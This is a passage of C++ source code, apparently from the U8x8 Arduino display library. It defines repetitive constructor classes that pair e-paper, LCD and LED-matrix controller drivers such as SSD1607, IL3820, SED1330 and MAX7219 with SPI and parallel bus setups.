uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1606_172x72, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1606_172X72_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1606_172X72_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1606_172x72, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1606_172X72_3W_SW_SPI : public U8X8 { public: U8X8_SSD1606_172X72_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1606_172x72, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1606_172X72_3W_HW_SPI : public U8X8 { public: U8X8_SSD1606_172X72_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1606_172x72, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1607_200X200_4W_SW_SPI : public U8X8 { public: U8X8_SSD1607_200X200_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1607_200x200, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1607_200X200_4W_HW_SPI : public U8X8 { public: U8X8_SSD1607_200X200_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1607_200x200, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1607_200X200_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1607_200X200_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1607_200x200, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1607_200X200_3W_SW_SPI : public U8X8 { public: U8X8_SSD1607_200X200_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1607_200x200, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1607_200X200_3W_HW_SPI : public U8X8 { public: U8X8_SSD1607_200X200_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1607_200x200, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1607_GD_200X200_4W_SW_SPI : public U8X8 { public: U8X8_SSD1607_GD_200X200_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1607_gd_200x200, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1607_GD_200X200_4W_HW_SPI : public U8X8 { public: U8X8_SSD1607_GD_200X200_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1607_gd_200x200, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1607_GD_200X200_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1607_GD_200X200_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1607_gd_200x200, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1607_GD_200X200_3W_SW_SPI : public U8X8 { public: U8X8_SSD1607_GD_200X200_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1607_gd_200x200, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1607_GD_200X200_3W_HW_SPI : public U8X8 { public: U8X8_SSD1607_GD_200X200_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1607_gd_200x200, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1607_WS_200X200_4W_SW_SPI : public U8X8 { public: U8X8_SSD1607_WS_200X200_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1607_ws_200x200, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1607_WS_200X200_4W_HW_SPI : public U8X8 { public: U8X8_SSD1607_WS_200X200_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1607_ws_200x200, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1607_WS_200X200_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1607_WS_200X200_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1607_ws_200x200, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1607_WS_200X200_3W_SW_SPI : public U8X8 { public: U8X8_SSD1607_WS_200X200_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1607_ws_200x200, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1607_WS_200X200_3W_HW_SPI : public U8X8 { public: U8X8_SSD1607_WS_200X200_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1607_ws_200x200, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_IL3820_296X128_4W_SW_SPI : public U8X8 { public: U8X8_IL3820_296X128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_il3820_296x128, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_IL3820_296X128_4W_HW_SPI : public U8X8 { public: U8X8_IL3820_296X128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_il3820_296x128, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_IL3820_296X128_2ND_4W_HW_SPI : public U8X8 { public: U8X8_IL3820_296X128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_il3820_296x128, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_IL3820_296X128_3W_SW_SPI : public U8X8 { public: U8X8_IL3820_296X128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_il3820_296x128, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_IL3820_296X128_3W_HW_SPI : public U8X8 { public: U8X8_IL3820_296X128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_il3820_296x128, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_IL3820_V2_296X128_4W_SW_SPI : public U8X8 { public: U8X8_IL3820_V2_296X128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_il3820_v2_296x128, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_IL3820_V2_296X128_4W_HW_SPI : public U8X8 { public: U8X8_IL3820_V2_296X128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_il3820_v2_296x128, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_IL3820_V2_296X128_2ND_4W_HW_SPI : public U8X8 { public: U8X8_IL3820_V2_296X128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_il3820_v2_296x128, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_IL3820_V2_296X128_3W_SW_SPI : public U8X8 { public: U8X8_IL3820_V2_296X128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_il3820_v2_296x128, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_IL3820_V2_296X128_3W_HW_SPI : public U8X8 { public: U8X8_IL3820_V2_296X128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_il3820_v2_296x128, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SED1330_240X128_6800 : public U8X8 { public: U8X8_SED1330_240X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sed1330_240x128, u8x8_cad_100, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SED1330_240X128_8080 : public U8X8 { public: U8X8_SED1330_240X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sed1330_240x128, u8x8_cad_100, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SED1330_256X128_6800 : public U8X8 { public: U8X8_SED1330_256X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sed1330_256x128, u8x8_cad_100, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SED1330_256X128_8080 : public U8X8 { public: U8X8_SED1330_256X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sed1330_256x128, u8x8_cad_100, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_RA8835_NHD_240X128_6800 : public U8X8 { public: U8X8_RA8835_NHD_240X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ra8835_nhd_240x128, u8x8_cad_100, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_RA8835_NHD_240X128_8080 : public U8X8 { public: U8X8_RA8835_NHD_240X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ra8835_nhd_240x128, u8x8_cad_100, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_RA8835_320X240_6800 : public U8X8 { public: U8X8_RA8835_320X240_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ra8835_320x240, u8x8_cad_100, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_RA8835_320X240_8080 : public U8X8 { public: U8X8_RA8835_320X240_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ra8835_320x240, u8x8_cad_100, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SED1330_320X200_6800 : public U8X8 { public: U8X8_SED1330_320X200_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sed1330_320x200, u8x8_cad_100, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SED1330_320X200_8080 : public U8X8 { public: U8X8_SED1330_320X200_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sed1330_320x200, u8x8_cad_100, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_MAX7219_64X8_4W_SW_SPI : public U8X8 { public: U8X8_MAX7219_64X8_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_max7219_64x8, u8x8_cad_empty, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_MAX7219_64X8_4W_HW_SPI : public U8X8 { public: U8X8_MAX7219_64X8_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_max7219_64x8, u8x8_cad_empty, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_MAX7219_64X8_2ND_4W_HW_SPI : public U8X8 { public: U8X8_MAX7219_64X8_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_max7219_64x8, u8x8_cad_empty, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_MAX7219_32X8_4W_SW_SPI : public U8X8 { public: U8X8_MAX7219_32X8_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_max7219_32x8, u8x8_cad_empty, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_MAX7219_32X8_4W_HW_SPI : public U8X8 { public: U8X8_MAX7219_32X8_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_max7219_32x8, u8x8_cad_empty, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_MAX7219_32X8_2ND_4W_HW_SPI : public U8X8 { public: U8X8_MAX7219_32X8_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_max7219_32x8, u8x8_cad_empty, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_MAX7219_8X8_4W_SW_SPI : public U8X8 { public: U8X8_MAX7219_8X8_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_max7219_8x8, u8x8_cad_empty, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_MAX7219_8X8_4W_HW_SPI : public U8X8 { public: U8X8_MAX7219_8X8_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_max7219_8x8, u8x8_cad_empty, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_MAX7219_8X8_2ND_4W_HW_SPI : public U8X8 { public: U8X8_MAX7219_8X8_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_max7219_8x8, u8x8_cad_empty, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_S1D15300_LM6023_4W_SW_SPI : public U8X8 { public: U8X8_S1D15300_LM6023_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_s1d15300_lm6023, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_S1D15300_LM6023_4W_HW_SPI : public U8X8 { public: U8X8_S1D15300_LM6023_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_s1d15300_lm6023, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_S1D15300_LM6023_2ND_4W_HW_SPI : public U8X8 { public: U8X8_S1D15300_LM6023_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_s1d15300_lm6023, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_S1D15300_LM6023_6800 : public U8X8 { public: U8X8_S1D15300_LM6023_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_s1d15300_lm6023, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_S1D15300_LM6023_8080 : public U8X8 { public: U8X8_S1D15300_LM6023_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_s1d15300_lm6023, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_S1D15E06_160100_4W_SW_SPI : public U8X8 { public: U8X8_S1D15E06_160100_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_s1d15e06_160100, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_S1D15E06_160100_4W_HW_SPI : public U8X8 { public: U8X8_S1D15E06_160100_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_s1d15e06_160100, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_S1D15E06_160100_2ND_4W_HW_SPI : public U8X8 { public: U8X8_S1D15E06_160100_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_s1d15e06_160100, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_S1D15E06_160100_6800 : public U8X8 { public: U8X8_S1D15E06_160100_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_s1d15e06_160100, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_S1D15E06_160100_8080 : public U8X8 { public: U8X8_S1D15E06_160100_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_s1d15e06_160100, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_S1D15721_240X64_4W_SW_SPI : public U8X8 { public: U8X8_S1D15721_240X64_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_s1d15721_240x64, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_S1D15721_240X64_4W_HW_SPI : public U8X8 { public: U8X8_S1D15721_240X64_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_s1d15721_240x64, u8x8_cad_011, 